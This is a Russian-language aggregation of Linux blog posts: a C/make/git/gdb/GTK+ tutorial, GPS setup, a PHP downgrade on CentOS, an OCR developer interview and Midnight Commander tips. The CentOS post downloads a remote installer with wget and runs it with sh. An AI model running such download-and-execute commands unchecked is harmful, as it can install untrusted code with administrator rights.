// Solve the equation
roots_count = solve(a,b,c, &x1, &x2);

// Output results
switch (roots_count) {
case 0:
printf("No (real) roots.\n");
break;
case 1:
printf("One root: %0.4lf\n", x1);
break;
case 2:
printf("Two roots: %0.4lf and %0.4lf\n",
x1, x2);
break;
}

return 0;
}

</math.h></stdio.h>

По аналогии с предыдущим примером, запишем этот текст в файл square.c и попытаемся скомпилировать его командой

gcc -o square square.c

Но на этот раз мы получим ошибку примерно такого вида:

/tmp/cc6RNFIi.o: In function `solve': square.c:(.text+0x6d): undefined reference to `sqrt' collect2: ld returned 1 exit status

В чём здесь дело? Ясно, что компилятору почему-то не понравился вызов функции sqrt(). Причём, он жалуется уже не на файл исходного кода, а на объектный файл (вот этот cc6RNFIi.o). Это означает, что исходный файл благополучно скомпилировался, а проблемы возникли на стадии компоновки (что можно видеть и по упоминанию в тексте ошибки программы ld — это стандартный в GNU/Linux компоновщик). Компоновщик не смог найти функцию sqrt(). В данном случае, это произошло из-за того, что эта функция содержится в библиотеке libm, а мы не просили компилятор использовать её. Чтобы избавиться от этой ошибки, нам нужно изменить команду компиляции на следующую:

gcc -o square -lm square.c

Такая команда должна отработать без ошибок и создать исполняемый файл square.

При сборке любой достаточно сложной программы нам придётся использовать несколько библиотек, и, возможно, понадобится указывать ещё какие-то опции компилятору. Команда может получиться довольно длинная. Что же, каждый раз набирать её вручную? Нет. Один из принципов философии UNIX гласит: «Всё, что может быть автоматизировано, должно быть автоматизировано». Здесь нам пригодится одна из древнейших UNIX-утилит — программа make. Чтобы воспользоваться ею, нужно написать файл с именем Makefile (в той же директории, что и наш исходный файл) со следующим содержимым:

square: square.c         $(CC) -o $@ -lm $<

Теперь собрать исполняемый файл можно просто дав команду make. Как это работает?

Make

Утилита make предназначена для сборки программ (хотя может использоваться для автоматизации многих других похожих задач). Она читает файл с именем Makefile и видит в нём набор правил. Каждое правило определяет три вещи: цель (goal, т.е. то, что нужно собрать), список исходных файлов и набор команд, которые нужно выполнить, чтобы собрать цель из исходных файлов. В примере выше, square — это имя цели, square.c — единственный в данном случае исходный файл (если их несколько, они перечисляются через пробел), а вторая строчка — команда. В команде могут использоваться переменные. Некоторые из переменных имеют специальное значение. В частности, в любом правиле $@ обозначает имя цели, а $< — первый исходный файл. Переменная $(CC) указывает на компилятор C, используемый в системе по умолчанию (в большинстве случаев это gcc, но бывает и что-нибудь другое).

В имени цели и списке исходных файлов может использоваться подстановочный символ %. Например, такое правило:

%.o: %.c   $(CC) -c $<

обозначает, что файлы с именем, заканчивающимся на .o, нужно собирать из соответствующих файлов с суффиксом .c.

Кроме того, make заранее знает некоторое количество правил по умолчанию. Среди них есть упомянутое в последнем примере, а также правило

%: %.c   $(CC) -o $@ $<

Благодаря этому правилу, в примере с «Hello, world!» просто команда make hello запускала cc -o hello hello.c.

По набору правил make составляет граф зависимостей целей друг от друга и от исходных файлов, и выполняет только те команды, которые нужны для сборки цели, указанной в командной строке. Если не указано никаких целей, то собирается первая цель, описанная в Makefile.

Более подробную информацию об этой утилите см., например, в man make.

Управление версиями

Для управления версиями исходного кода может использоваться любая VCS. Однако, раз уж мы говорим о GNU/Linux, рассмотрим вкратце систему, используемую для разработки ядра Linux: git. По git существует довольно обширная документация, в т.ч. и на русском языке. См. например, мою статью [vcs_git] или известную серию статей [los-t_git].

Для начала использования git нужно создать репозиторий — хранилище для версий файлов. Это делается командой

git init

Теперь можно добавлять файлы в репозиторий. Но нам не нужно отслеживать версии некоторых файлов, а именно: объектных файлов и исполняемых файлов. Чтобы сразу исключить их из рассмотрения git, напишем файл .gitignore следующего содержания:

*.o square hello

Теперь команда

git add .

добавит в репозиторий все файлы в текущей директории, кроме упомянутых в файле .gitignore. После этого можно делать коммит командой

git commit

По этой команде откроется текстовый редактор по умолчанию. Тут нужно будет написать комментарий к коммиту. В данном случае достаточно строчки типа «Initial commit».

Отладка

Для отладки в Linux используется отладчик gdb. Но сначала, для того, чтобы программу было удобно отлаживать, её нужно скомпилировать с опцией -g. Сейчас нам достаточно изменить Makefile, приведя его к виду

square: square.c         $(CC) -o $@ -lm -g $<

и пересобрать программу.

При обычной компиляции в исполняемый файл не попадают имена функций, переменных и т.п. Опция -g указывает компилятору, что эту информацию нужно записать в соответствующую секцию исполняемого файла. Кроме того, с этой опцией в исполняемый файл записывается информация о соответствии смещений и номеров строк в исходном файле.

Отладка запускается командой вида

gdb ./square

Если отлаживаемой программе нужно передать какие-то опции командной строки, их можно указать здесь же:

gdb ./some-program -a -b

При запуске отладчика появляется приглашение командной строки вида:

GNU gdb (GDB) 7.2-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http: html="" licenses="" org=""> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.  Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http: bugs="" gdb="" org="" software="">... Reading symbols from /home/portnov/LUG/src/square...done. (gdb)</http:></http:>

Работа с отладчиком, в общих чертах, напоминает работу с командной оболочкой. Вы вводите команды, отладчик их исполняет. Как и в командной оболочке, работает автодополнение команд по клавише Tab. Кроме того, для краткости можно сокращать команды до первых нескольких букв — лишь бы избежать неоднозначности.

К наиболее часто используемым командам относятся:

list

Напечатать очередной кусок исходника (печатается 10 строк). Можно указать конкретные номера строк после имени команды, например l 10,15.

run

Запустить программу на выполнение под отладчиком. Программа будет выполняться до ближайшей точки останова, или до конца.

break

Установить точку останова. Номер строки, на которой нужно установить точку останова, указывается после имени команды.

next

Выполнить одну строку программы.

print

Вычислить и напечатать выражение. Выражение указывается после команды. Таким образом можно, например, однократно посмотреть значение какой-нибудь переменной.

display

Добавить выражение к списку постоянно отображаемых. Значения этих выражений будут показываться после исполнения каждой команды. Рядом с каждым выражением печатается его номер в списке. Удалить выражение из списка можно командой undisplay с номером выражения.

quit

Выход из отладчика.

Более подробную информацию по GDB см. в man gdb.

Оконная система X11

Исторически в UNIX не было и не могло быть никакой графической среды, потому что не было графических дисплеев. Графическая среда для UNIX появилась примерно тогда, когда появились распространённые графические дисплеи: в 1984. Сначала она называлась W (от Window), затем её усовершенствовали и назвали следующей буквой алфавита — X, следующая версия называлась X2… Сейчас имеем X11.

X11 представляет собой, прежде всего, сетевой протокол поверх TCP/IP и UDP/IP. У протокола есть клиент и есть сервер. Клиент посылает последовательность запросов вида «нарисуй мне окошко», «нарисуй на нём кнопочку», а сервер их исполняет. Один из главных принципов X11 — «определять механизмы, а не политики». Протокол предоставляет возможность, скажем, рисовать окошки, а как именно они будут отображаться — не определяет.

Наиболее распространённым X-сервером сейчас является Xorg (http://x.org); всё ещё жив XFree86; под Windows актуален Xming; выпускаются аппаратные X-серверы — комплекты «монитор + клавиатура + мышка», в которых поддержка серверной функциональности X11 реализована аппаратно — такие комплекты используются в качестве графических терминалов.

Протокол X11, в отличие от, скажем, HTTP, является бинарным, а не текстовым — это сделано из соображений экономии пропускной способности сетевого соединения и простоты разбора запросов сервером. Но это усложняет создание клиентов этого протокола: собирать замысловатые бинарные X11-запросы заведомо сложнее, чем, например, текстовые HTTP-запросы. Поэтому для написания X-клиентов используются специальные библиотеки функций, формирующих и отправляющих серверу X-запросы. Наиболее распространена библиотека libX11. Более современным вариантом является libxcb.

Запросы X11 весьма низкоуровневые. Например, чтобы реализовать функциональность кнопки, нужно нарисовать в окне прямоугольник, написать в нём текст, ждать в цикле нажатия кнопки мыши, и при каждом нажатии проверять, где щёлкнули — внутри прямоугольника или вне него. Поэтому стали появляться так называемые тулкиты — библиотеки, являющиеся высокоуровневыми обёртками над libX11.

Исторически первым тулкитом был Athena3D. Потом были Motif и Tk. Сейчас наиболее распространены GTK+ и Qt (Qt, строго говоря, представляет собой не X11-тулкит, а многоцелевой кроссплатформенный набор библиотек, который может использоваться в качестве X11-тулкита).

Hello, world на GTK+

В качестве примера рассмотрим следующую программу. Она показывает окно с одной кнопкой. При нажатии на эту кнопку появляется сообщение «Hello, world».

#include <gtk/gtk.h>

// This function displays message dialog.
// main_window parameter should be set to parent window of the dialog.
void message_box (GtkWindow* main_window, gchar *message) {
GtkWidget *dialog, *label, *content_area;

// Create a dialog
dialog = gtk_dialog_new_with_buttons ("Message",
main_window,
GTK_DIALOG_DESTROY_WITH_PARENT,
GTK_STOCK_OK,
GTK_RESPONSE_NONE,
NULL);
// Create a label
content_area = gtk_dialog_get_content_area (GTK_DIALOG (dialog));
label = gtk_label_new (message);

// On "response" signal (it's called when user clicks a button in
// the dialog), destroy the dialog.
g_signal_connect_swapped (dialog,
"response",
G_CALLBACK (gtk_widget_destroy),
dialog);

// Add a label
gtk_container_add (GTK_CONTAINER (content_area), label);
// Show the dialog
gtk_widget_show_all (dialog);
}

// Callback for delete-event signal
static gboolean delete_event( GtkWidget *widget,
GdkEvent *event,
gpointer data )
{
// If return TRUE, window will not be closed.
// This may be used to preven closing window in some situations.
return FALSE;
}

// Callback for destroy signal
static void destroy( GtkWidget *widget,
gpointer data )
{
// End main GTK+ event loop
gtk_main_quit ();
}

// Callback for button click
static void hello ( GtkWidget *widget,
gpointer data )
{
// "data" parameter represents main window here
message_box(GTK_WINDOW(data), "Hello, world!");
}

int main( int argc,
char *argv[] )
{
GtkWidget *window;
GtkWidget *button;

// Init GTK+
gtk_init (&argc, &argv);

// Create main window
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);

// Set up callbacks for some signals
g_signal_connect (window, "delete-event",
G_CALLBACK (delete_event), NULL);

g_signal_connect (window, "destroy",
G_CALLBACK (destroy), NULL);

// Set window borders width
gtk_container_set_border_width (GTK_CONTAINER (window), 10);

// Create labeled button
button = gtk_button_new_with_label ("Hello World");

// Set up callback for "clicked" signal of the button.
// Pass main window as second parameter.
g_signal_connect (button, "clicked", G_CALLBACK (hello), (gpointer)window);

// Pack the button into window
gtk_container_add (GTK_CONTAINER (window), button);

// Show the button
gtk_widget_show (button);

// Show the window
gtk_widget_show (window);

// Run main GTK+ event loop.
gtk_main ();

return 0;
}

Собирается эта программа командой вида

gcc -o gtk-hello $(pkg-config --cflags gtk+-2.0) $(pkg-config --libs gtk+-2.0) gtk-hello.c

GTK+ — довольно сложно устроенный набор библиотек, поэтому, чтобы не указывать все нужные библиотеки и опции компилятора вручную, мы используем здесь программу pkg-config, которая печатает опции компилятора, нужные для использования GTK+.

Дополнительная литература

[raymond] Реймонд, Эрик С. Искусство программирования для UNIX. — Пер. с англ. — М.: Издательский дом «Вильямс», 2005. — 544с., ил.

[kernigan_pike] Керниган Б., Пайк Р. UNIX. Программное окружене. — Пер с англ. — СПб: Символ-Плюс, 2003. — 416с., ил.

[kernigan_richie] Керниган Б., Ритчи Д. Язык программирования C. — Пер. с англ. — Москва: Вильямс, 2006. — 304 с.

[vcs_git] Портнов И. Системы контроля версий. Git. URL: http://iportnov.blogspot.com/2008/06/git.html

[los-t_git] Los-t. Git guts (серия статей в ЖЖ). URL: http://los-t.livejournal.com/tags/git+guts


Добавление диапазона IP адресов для сетевого интерфейса в Red Hat, CentOS, Fedora. — Выделенный сервер своими руками

Иногда владельцам выделенных серверов необходимо добавить не один, два ip адреса к своему сетевому интерфейсу, а целую подсеть. Как это сделать? Не будешь же, к примеру, для добавления 18-ти ip адресов создавать 18 файлов вида ifcfg-eth0:X. К счастью, у нас есть соответствующий механизм.

Для добавления диапазона адресов 192.168.1.2 - 192.168.1.20 для сетевого интерфейса eth0 создаем файл:

vi /etc/sysconfig/network-scripts/ifcfg-eth0-range0

и в него добавляем следующие строки:

читать далее

Много полезных русскоязычных статей о Ubuntu — Linux & Life

Завершился конкурс русскоязычных статей Ubuntu 2011. Тематика делилась на два основных раздела: руководство «как сделать …» и вольный «околотехнический» текст.
Тексты статей размещены здесь. Лично для себя нашел много интересных материалов.

GPS-навигация под Linux — RU Linux

В моем модеме для ноутбука есть GPS-приемник. Вот решил настроить, раз уж модемом стал заниматься, и заодно посмотреть какие-нибудь GPS-программы под Linux.

Сначала нужно установить программу mbm-gpsd, которая общается с модемом, при обращении к /dev/gps0 включает GPS и возвращает NMEA-данные от GPS-приемника, а при отключении -- выключает GPS. Поставить mbm-gpsd можно из GIT по инструкции по ссылке или из моего пакета в конце поста, если у вас Debian Stable/AMD64. Проверить можно так:

mbm-gpsd
cat /dev/gps0

И через время посыпется такое:

$GPGGA,,,,,,0,00,1.0,,M,,,,*04

$GPRMC,212235.34,V,,,,,,,151011,,,N*7A

$GPGSV,3,1,11,32,36,124,28,01,12,186,26,23,76,330,,20,62,141,*79

$GPGSV,3,2,11,13,54,278,,04,31,297,,16,22,116,,07,16,211,*7F

Теперь нужно поставить программу gpsd, она преобразует NMEA-поток в удобный формат и раздает клиентским программам по TCP/IP, имеется в Debian:

apt-get install gpsd gpsd-clients
gpsd -b -N /dev/gps0

Теперь надо запустить "xgps", подойти к окну, подождать пока поймаются спутники и поглядеть на них:

XGPS

Точное время и координаты есть, даже высота какая-то есть, если спутников достаточно. Теперь увидим себя на карте с помощью gpsdrive. В Debian старая версия gpsdrive, не понимающая новую версию gpsd. Поэтому gpsdrive надо установить с сайта.

Репозитарий там для Debian какой-то кривой, мне пришлось скачать и поставить вручную следующие пакеты:
openstreetmap-map-icons-classic.small_18403_all.deb
openstreetmap-map-icons-svg-png_18403_all.deb
openstreetmap-map-icons-japan-png_18403_all.deb
openstreetmap-map-icons-svg-twotone-png_18403_all.deb
openstreetmap-map-icons-japan_18403_all.deb
openstreetmap-map-icons-svg-twotone_18403_all.deb
openstreetmap-map-icons-square.big_18403_all.deb
openstreetmap-map-icons-svg_18403_all.deb
openstreetmap-map-icons-square.small_18403_all.deb

Если поискать тамже, то можно найти gpsdrive версии 2.12. Предварительно поставить зависимости:

aptitude install libboost-filesystem1.42.0 libboost-thread1.42.0 libmapnik0.7 libpq5 libspeechd2

Отключаем недоделанный перевод интерфейса и запускаем:

export LANG=en_EN.UTF-8
gpsdrive

Текущее положение будет отмечено на карте Земли. Считается скорость, показывается направление. Перемещаться по карте свободно можно в Explore Mode. Можно мерять расстояния, прокладывать путь, что-то там сохранять в SQL-базу данных и даже искать соседей через какие-то сервера. В меню Options - Maps - Download можно скачать разные карты, в том числе увидеть себя на OpenStreetMaps:

gpsdrive 2.12

Интересно, какие еще программы под Linux поддерживают GPS?

Блог: RU Linux

CentOS 6 и php 5.2.17 — Выделенный сервер своими руками

В дистрибутиве CentOS 6 изначально присутствует php версии 5.3. Это не всегда хорошо, потому как многие программы работают с этой ветко криво. Например UmiCMS. Вот и возникает парадоксальная ситуация, связанная со снижением версии php например до  5.2.17.

Одним из вариантов решения данного вопроса является использование репозитария atomic. Для его установки используем следующие команды:

wget http://www.atomicorp.com/installers/atomic
sh atomic

Далее удаляем установленный php.

читать далее

Андрей Боровский об YAGF, программистской ноосфере и интеллектуальном распознавании — ♠ Краплёная колода

Термин OCR мы вспоминаем, когда требуется конвертировать внушительных размеров фолиант в неприметный текстовый файл или сделать электронную версию документа на бумаге. Так или иначе, проблему надо решать. И среди свободных решений самым популярным по праву считается YAGF — оболочка для систем распознавания текстов Cuneiform и Tesseract.

Продолжая серию интервью с русскоязычными разработчиками, позвольте представить вашему вниманию очередной тет-а-тет, разговор с автором озвученного фронтэнда.

Представьтесь, пожалуйста. Расскажите, чем занимаетесь по долгу службы и каким образом примкнули к лагерю open source?
Меня зовут Андрей Боровский. На работе я программист, занимаюсь в основном разработкой экспертных систем. Дома я, помимо прочего, тоже иногда программист, а еще любитель возиться со всякими электронными штуками.

С Линуксом познакомился в конце 97-го года. Мне тогда очень надоела Винда (даже эстетически) и я попросил знакомого найти что-нибудь свеженькое. Он принес мне компакт-диск с дистрибутивом Линукс. Кажется, это была Калдера. На диске были записаны образы дискет по 1.44 мегабайта, двадцать с чем-то дискет. Их надо было переписать на настоящие дискеты и устанавливать систему, что уже тогда было некоторым анахронизмом. В те времена в процессе установки инсталлятору нужно было сообщать много низкоуровневых параметров своего оборудования. Мне даже корпус компа пришлось открыть. Но я прошел эту процедуру и познакомился с Линуксом. :)

Как программист я столкнулся с Линуксом в 2001 году. Там был такой момент, мне нужно было посмотреть, как на практике работала какая-то вещь в тогдашней Qt, я взял диск с исходниками дистрибутива Линукс (это был Linux-Mandrake Russian Edition) и быстро нашел то, что мне было нужно. С тех пор я проникся уважением к открытому ПО. Для меня это своего рода «облако знаний», программистская ноосфера, где можно многому научиться. Так получилось, что многие редкие и интересные алгоритмы я прочел сначала в коде, а потом уже находил их описания в книгах или статьях. Для меня понятия «открытое ПО» и «Линукс» не тождественны. Например, существуют драйверы для Windows с открытыми исходными текстами. Всем, кому нужно писать свои драйверы, я рекомендую познакомиться с открытыми драйверами. Это хорошие наглядные учебные пособия. Разумеется, специальную литературу они не отменяют.

То есть, после первого знакомства забыли о линуксе на четыре года? Что помешало переходу?
Нет, не забыл, но и убежденным линуксоидом сразу не стал. Тогда были и другие интересные системы для десктопов: OS/2 еще не умерла и BeOS. BeOS выглядела очень интересно и перспективно. Ее убили не технические проблемы, а чисто маркетинговые ходы. Мне даже сейчас жаль, что так получилось. С интересом слежу за проектом Haiku, может что-нибудь сделаю для него.

Думал, задавать или не задавать вопрос о выборе Qt в качестве фреймворка для YAGF. Теперь же он потерял всякую актуальность — десять лет опыта не шутка. В развитии иных проектов на Qt не участвуете? Как оцениваете эволюцию «Кьюта» за прошедшую декаду лет?
Эволюция огромна. Сейчас некоторые подсистемы Qt сложнее, чем вся библиотека 10 лет назад. Возможно, библиотека стала слишком большой и пытается охватить слишком многое. Но это уже отдельная тема.

Извиняюсь, но не могу не задать вопрос после прочтения страницы вашего
профиля в Google+. Там сказано: «В 15 лет своей программой убил школьную ЛВС. Так уж она была устроена. В смысле — ЛВС». Расскажите, пожалуйста, как примерили рубашку хакера :-)
«Рубашку черного хакера» я примерил случайно. Я не хотел никому навредить. Я писал программу, которая должна была передавать данные по этой самой ЛВС, и что-то там не так сделал. А в классе информатики использовалась централизованная архитектура, где всей передачей данных по сетке управляла программа на центральной станции. Эта программа получила мои данные и умерла. И при этом еще умудрилась запортить диск, а диск был системный. Я не считаю, что это моя вина. Программа, управляющая сетью, не должна падать от того, что кто-то передал «неправильные» данные. И тем более не должна портить файловую систему. Но учитель информатики был в ярости и две недели не подпускал меня к компьютерам вообще. :)

Со стороны кажется, что у YAGF поставлена амбициозная задача — убедить пользователей отказаться от виртуальных машин с FineReader. Так ли это на самом деле? Как вы оцениваете ситуацию с OCR в Linux? Какой системе отдаёте предпочтение: tesseract или cuneiform?
Нет, цель YAGF немного другая. Давайте будем реалистами. cuneiform, и tesseract разрабатывались как коммерческие проекты (и первый дошел до стадии стабильной коммерческой разработки). Потом разработчики открыли коды этих программ. Мы все понимаем, конечно, что если бы эти программы могли конкурировать с лидерами рынка, мы бы сейчас вряд ли имели на руках их исходники. Так что мы едва ли догоним и перегоним Readiris или FineReader. Но это не значит, что открытые проекты распознавания текста не нужны. Их преимущество — более высокая адаптируемость. Например, сейчас возрастает интерес к процессорам ARM. Когда появятся коммерческие системы распознавания текста для этих процессоров? Я думаю, этого никто точно не знает. А вот tesseract уже портировали на ARM. Что касается, собственно, YAGF, то в будущем эта программа могла бы поддерживать импорт из DjVu или, например, распознавание текста, зафиксированного видеокамерой. Причем не обязательно, что это сделаю именно я. Любой может подключиться к проекту и адаптировать его для своих нужд.

Сравнивать tesseract и cuneiform можно очень долго, потому что у этих программ много разных особенностей и параметров. Если быть кратким, то мое мнение такое: в будущем tesseract превзойдет cuneiform по всем пунктам (если, конечно, разработчики будут прилагать усилия, как сейчас). А пока-что лучше установить в системе оба инструмента и опытным путем выяснить, какой из них подходит лучше для конкретных задач. Поэтому я и добавил поддержку обоих инструментов в YAGF 0.8.7.


Касательно интереса к процессорам ARM. Смартфоны с Android'ом берут всё новые высоты по завоеванию рынка. Но Google не спешит внедрять Tesseract в прошивку. Их программа Googles отправляет снимок с камеры в облако, а потом присылает результат распознавания. Это говорит о моде облачных решений или сырости вышеназванной OCR?
Неудивительно, что tesseract нет в Android. Там вообще-то много чего нет, и я бы очень удивился, если бы там сейчас появился именно tesseract. Говоря о портировании на ARM, я, все-таки, имел в виду системы, к которым можно подключить сканер. При распознавании текста с фотографий tesseract показывает скромные результаты, в чем каждый может самостоятельно убедиться.

Возможно, облачный сервис Google лучше подходит для решения такой задачи. Но облачные сервисы не могут быть решением задачи распознавания в общем случае. Многие организации ни за что на свете не отправят сканы своих документов на распознавание какому-то постороннему дяде. Даже если этот дядя Google. Да и отдельные люди, которым надо много сканировать и распознавать (например, переводчики), часто подписывают соглашения о конфиденциальности, где прямо запрещено передавать материалы в Интернет в каком-либо виде. Так что персональные средства распознавания будут востребованы и дальше.

Перед интервью я попросил читателей задать свои вопросы «о наболевшем». Один комментатор интересовался преимуществом графических оболочек над CLI. Чтобы не уходить в дебри философии, придётся переформулировать и сузить вопрос: по-вашему, можно ли эффективно распознавать текст в консоли?
Ну давайте посмотрим, что для этого нужно. Сначала нужно запустить XSane, отсканировать страницы. Затем в графическом редакторе все это подправить. Затем, собственно, инструмент распознавания, потом текстовый редактор, чтобы посмотреть, что же получилось. Промежуточные данные нужно передавать в файлах, а затем удалять их. Некоторые этапы этого цикла придется пройти несколько раз. Если кому-то нравится работать таким образом, это его право. Но я думаю, что все это удобнее делать из одной программы, которая управляет всем циклом и показывает пользователю результаты. И многие пользователи YAGF согласны со мной. :)

Спрашиваю, потому что предпринимал попытки обойтись одним cuneiform. Результат был плачевным.
Мне при таком подходе не нравится, что я не вижу, что именно распознается. Приходится держать открытыми несколько программ и все время перезагружать файлы. YAGF избавляет от этой необходимости.

На сайте написано, что вы развиваете собственную ветку Cuneiform главным образом для распознавания текстов на смешанных языках (русский-французский, русский-немецкий, русский-испанский). Ваши патчи попадают в основную ветку? Какие наработки наиболее значимы, на ваш взгляд?
Тут надо учесть, что cuneiform не полностью открытая программа. Не углубляясь в технические подробности, скажу, что cuneiform нельзя обучить новым языкам. Он будет распознавать только то, что в него было когда-то заложено. Соответственно, мои попытки расширить возможности распознавания носили характер «хака». Текст распознавался на двух языках, а потом «склеивался». В процессе этого хакинга я узнал много интересного о внутреннем устройстве cuneiform, и иногда мои хаки неплохо работали, но в конечном итоге я понял — это неверный путь. Сейчас я не работаю над этим, а если снова начну, то уже на базе tesseract, который полностью открыт и обучаем.

В версии 0.8.7 появился импорт страниц из PDF. Стоит ли ожидать поддержки формата DjVu? Появится ли возможность наложить текстовый слой вместо изображения в PDF/DjVu?
При импорте PDF возникла одна интересная проблема. Во многих документах PDF, где текст хранится как картинка, разрешение этой картинки слишком низкое для уверенного распознавания. Я сейчас размышляю над алгоритмами реконструкции текста из картинки с низким разрешением в картинку с более высоким разрешением. Обычные алгоритмы масштабирования, такие, которые использует GIMP, например, тут не годятся. У меня уже есть идеи, но они будут хорошо работать (если будут) только для PDF, но не для DjVu. Для DjVu придется придумать что-то другое. Если получится, то импорт будет.

Для пост-обработки сканированных страниц существует Scan Tailor. Не планируете ли вы интегрировать этот инструмент в YAGF?
Я обсуждал эту возможность с разработчиками Scan Tailor (правда, это было давно) и мы пришли тогда к выводу, что пока каждый пойдет своим путем. Я сейчас хочу направить основные усилия на добавление в YAGF алгоритмов обработки текста, необходимых именно при распознавании текста (распознавание таблиц, распознавание типов блоков «текст/картинка». Когда это будет сделано, к вопросу об объединении со Scan Tailor можно будет вернуться, если вторая сторона, конечно, этого захочет. С другой стороны, один открытый проект, как правило, может заимствовать код из другого открытого проекта, что бы об этом не думал автор кода. Так что на многие вещи можно посмотреть и проще.

Каким вы видите первый финальный релиз (1.0)? У проекта есть roadmap или функции внедряются в зависимости от запросов пользователей и ваших личных предпочтений?
Более интеллектуальным (с большим числом алгоритмов, повышающих распознаваемость текста). Да и графический интерфейс надо доработать. Будет возможность сохранять проекты, которые состоят из многих страниц, для дальнейшей работы с проектом как с единым целым. Возможно, еще кое что будет добавлено. Но я осторожен в обещаниях. Лучше пообещать меньше, а сделать больше, чем наоборот. :)

Пожелания пользователей принимаются (принимаются и патчи с исправлениями и дополнениями), если новые фичи соответствуют моему представлению об облике программы. Я точно могу сказать, чем она не должна быть. Она не должна стать «комбайном». Слишком много функций редактирования изображения или текста, вызываемых пользователем, могут помешать. YAGF — это не графический редактор и не текстовый. Говоря о том, что не должно быть слишком много функций, я имею в виду именно команды пользователя. Функции, которые автоматически улучшают распознаваемость текста или исправляют ошибки, будут добавляться и добавляться.

Спасибо за беседу. Успехов вам и проекту!
Спасибо и Вам.

Чтение стен ВКонтакте через RSS — KonishchevDmitry's small blog

Недавно возникло желание читать пару групп ВКонтакте. Регулярно заходить туда и проверять, не появилось ли чего нового - это не наш путь. Поэтому, узрев в этом желании отличную возможность поиграться с Google App Engine и Python'овским HTMLParser'ом, написал себе небольшой "велосипед" - vkontakte-feed.appspot.com. :) Отдает посты с публичных стен в RSS. Пользуйтесь, если кому надо.

Андрей Мавлянов

Автоматическая смена предпочитаемой локали в Firefox — Digital Activity » Computing

Не то чтобы это часто случалось, однако каждый раз такая ситуация меня просто выбешивает. Я говорю о веб-сайтах которые меняют некоторые свои настройки в зависимости от локали, при этом не имея «ручного» способа исправить ситуацию. Хорошим примером такого приложения может … Continue reading

Комфортная работа в Midnight Commander — Bappoy's blog » linux

Многие мои коллеги принципиально игнорируют Midnight Commander, предпочитая работать в командной строке. Мотивируют это целым рядом причин, начиная с «нортон коммандер устарел еще в 1995 году» и заканчивая «я юниксоид с 1970 года и без всяких mc прекрасно управляюсь в консоли». Конечно же, это дело вкуса, и можно (и нужно!) настроить консоль под себя так, чтобы она летала со скоростью мысли: на помощь приходят команда alias, сочетание Ctrl+R, описание команды shopt в builtins(1), пакет bash_completion или его аналоги, ряд мелких хаков, наподобие такого, или альтернатива в виде zsh, в конце концов.

Однако визуалам типа меня удобнее постоянно иметь перед глазами списки файлов и папок, а не помнить, какой файл где находится и что здесь есть еще. Кроме того, пользуясь исключительно командами cd и ls --color, можно легко проглядеть что-нибудь ненужное, типа оставшихся от vim бэкапов в текущем каталоге (если бэкапы нужны, см :help backupdir) или папок с именем из пробела.

Конечно, сначала mc производит немного гнетущее впечатление, но если разобраться и привыкнуть, то может оказаться, что даже с конфигурацией из коробки он очень облегчает жизнь разработчика и системного администратора. Поделюсь собственными хитростями, используемыми каждый день. За кадром осталось еще множество интересных фич, типа кастомной раскраски файлов в панели, смены цветовой схемы на черно-зеленую, сниппетов в редакторе mcedit, настраиваемых VFS, но поскольку я ими не пользуюсь, то ничего про них не скажу. Примеры их настроек и использования можно посмотреть в /etc/mc и в /usr/share/mc.

Сначала полезные мелочи, для многих очевидные.

  • Если до mc по каким-то причинам не доходят коды кнопок Fn, их можно заменить Esc-n. А Alt, иногда перехватываемый панелью меню, успешно заменяется кнопкой Esc
  • Режим просмотра файлов «Full file list» лучше, чем «Short file list». При желании можно добавить туда показ прав на объекты файловой системы, например:
    half type name | size | mtime | mode:3
  • Панели подсказок над и под командной строкой внизу и меню сверху можно отключить в Options — Layout, будет больше пространства для списка файлов. Заодно там можно включить отображение свободного места в текущем разделе — очень полезно для нетбуков с мелкими экранами
  • При навигации по списку файлов сочетание Ctrl+S перекидывает на файл, начинающийся с вводимых символов
  • Alt+Y перекидывает в предыдущую папку. Иногда это бывает полезно при восстановлении после ошибки «The shell is already running the command», за все время существования mc ставшей его визиткой
  • Встроенный редактор ужасен. В ~/.bashrc добавьте строчку export EDITOR=vim, а в пункте меню Options — Configuration снимите галку «Use internal editor». Точно так же можно использовать переменную окружения PAGER=view для просмотра файлов (опция «Use internal view»)
  • Alt+I покажет текущую папку в противоположной панели, а Alt+O — папку под курсором, а если под курсором файл, то родительскую.
  • Начиная с ветки midnight commander 4.7.1, в меню сортировки появилась сортировка по версиям, она работает точно так же, как ls -v, т.е. показывает список 1.2.1, 1.2.2, 1.2.10 именно в этом порядке, а не в алфавитном (1.2.1, 1.2.10, 1.2.2). Сам делал :).
  • Ctrl+X c — просмотр и редактирование прав на файл
  • Ctrl+X d — три варианта сравнения двух каталогов: быстрое (по спискам файлов), по размерам (то же самое, только с учетом размеров), полное (по содержимому файлов)
  • Alt+C — быстрый переход в нужную папку без изменения командной строки. По Esc-Tab показывает список подстановки (в командной строке mc Esc-Tab тоже иногда работает)
  • По Ctrl+\ имеется многоуровневое меню быстрого доступа к папкам, в т.ч. и через FTP и SSH. При желании его можно отредактировать вручную в ~/.mc/hotlist

На данный момент самой полезной фичей для меня является пользовательское меню. Про него я уже писал пару раз (1, 2), сейчас расскажу более подробно.

Я поддерживаю несколько сайтов под mod_perl, и после изменений в коде startup.pl необходимо перезапускать процесс apache, свой для каждого сайта. Каждый сайт находится в /home/sites/sitename, а конфиг apache для этих сайтов — в /usr/local/apache/conf/httpd-sitename.conf.

Когда мне надоело вручную писать /usr/local/apache/bin/apachectl-sitename restart после каждого изменения, в ~/.mc/menu добавились строчки:

s Restart apache for sitename
   sudo /usr/local/apache/bin/apachectl-sitename restart

Первая строка задаёт быструю клавишу и название пункта меню, а все за ней следующее — команду, в которой можно использовать ряд макро-подстановок:

  • %f — имя файла под курсором, %x — расширение, %b — имя файла без расширения
  • %d — каталог в активной панели, %D — каталог в неактивной панели
  • %t — выбранные файлы в активной панели, %T — в неактивной

и т.д.

Потом появилось еще пять подобных пунктов, для каждого сайта. В конце концов, мне надоело выбирать стрелками нужную команду или искать в длинном списке, какая буква соответствует соответствует нужному пункту. Внимательно перечитав справку, появляющуюся при нажатии F1 в меню F2, добавил еще по строчке к каждому определению пункта меню:

+= d /home/sites/sitename | f httpd-sitename.conf
s Restart apache for sitename
   sudo /usr/local/apache/bin/apachectl-sitename restart

